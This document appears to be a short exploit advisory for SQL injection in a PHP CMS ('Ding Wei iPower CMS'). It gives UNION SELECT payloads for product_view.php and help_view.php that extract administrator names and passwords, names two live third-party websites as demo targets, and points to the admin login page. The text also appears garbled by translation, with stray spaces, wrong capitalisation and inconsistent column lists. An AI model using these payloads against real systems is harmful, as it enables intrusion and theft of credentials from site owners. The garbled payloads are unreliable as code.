Ding Wei iPower CMS (php) product_view.php help_view.php & amp; n

===================================== [Author] ==================== ========================

[+] Founded: Mars
[+] Website: http://forum.3est.com

===================================== [Soft Info] ================ ======================

Vendor: http://www.dingwei.cn/

[-] Exploit:

[+] ../Product_view.php? Id = [] and + 1 = 2 + union + select + 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, name, 13, 14, 15, password,

17,18, 19,20, 22, 24, 32, 35, 36, 37 from manager --

[+]./Help_view.php? Id = [] and + 1 = 2 + union + select + 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, name, 13, 14, 15, password,

17,18, 19,20, 21 from manager --

[+] Demo Live:
[-] Http://iimatchi.com/help_view.php? Id = 54 and + 1 = 2 + union + select + 1, 2, 3, 4, 5, 7, 8, 9, 10, 11, name, 13, 14, 15, password, 17,18, 19,20, 21 from manager --

[-] Http://www.bblbao.com/product_view.php? Id = 1019 and + 1 = 2 + union + select + 1, 2, 3, 4, 5, 7, 8, 9, 10, 11, name, 13, 14, 15, password,

17,18, 19,20, 22, 24, 32, 35, 36, 37 from manager --

[+] Admin: http://www.xxx.com/m/manager/login.php